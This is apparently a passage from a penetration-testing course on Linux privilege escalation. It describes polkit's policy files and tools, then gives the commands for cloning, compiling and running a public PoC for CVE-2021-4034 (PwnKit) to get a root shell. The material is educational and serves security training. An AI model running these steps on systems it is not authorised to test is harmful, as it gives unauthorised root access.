PolicyKit (polkit) is an authorization service on Linux-based operating systems that allows user software and system components to communicate with each other if the user software is authorized to do so. To check whether the user software is authorized for this instruction, polkit is asked. It is possible to set how permissions are granted by default for each user and application. For example, for each user, it can be set whether the operation should be generally allowed or forbidden, or authorization as an administrator or as a separate user with a one-time, process-limited, session-limited, or unlimited validity should be required. For individual users and groups, the authorizations can be assigned individually.

Polkit works with two groups of files.

1. actions/policies (/usr/share/polkit-1/actions)
2. rules (/usr/share/polkit-1/rules.d)

Polkit also has local authority rules which can be used to set or remove additional permissions for users and groups. Custom rules can be placed in the directory /etc/polkit-1/localauthority/50-local.d with the file extension .pkla.

PolKit also comes with three additional programs:

* pkexec - runs a program with the rights of another user or with root rights
* pkaction - can be used to display actions
* pkcheck - this can be used to check if a process is authorized for a specific action

The most interesting tool for us, in this case, is pkexec because it performs the same task as sudo and can run a program with the rights of another user or root.

cry0l1t3@nix02:~$ # pkexec -u <user> <command>

cry0l1t3@nix02:~$ pkexec -u root id

uid=0(root) gid=0(root) groups=0(root)

In the pkexec tool, the memory corruption vulnerability with the identifier [CVE-2021-4034](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034) was found, also known as [Pwnkit](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034) and also leads to privilege escalation. This vulnerability was also hidden for more than ten years, and no one can precisely say when it was discovered and exploited. Finally, in November 2021, this vulnerability was published and fixed two months later.

To exploit this vulnerability, we need to download a [PoC](https://github.com/arthepsy/CVE-2021-4034) and compile it on the target system itself or a copy we have made.

cry0l1t3@nix02:~$ git clone https://github.com/arthepsy/CVE-2021-4034.git

cry0l1t3@nix02:~$ cd CVE-2021-4034

cry0l1t3@nix02:~$ gcc cve-2021-4034-poc.c -o poc

Once we have compiled the code, we can execute it without further ado. After the execution, we change from the standard shell (sh) to Bash (bash) and check the user's IDs.

cry0l1t3@nix02:~$ ./poc

# id

uid=0(root) gid=0(root) groups=0(root)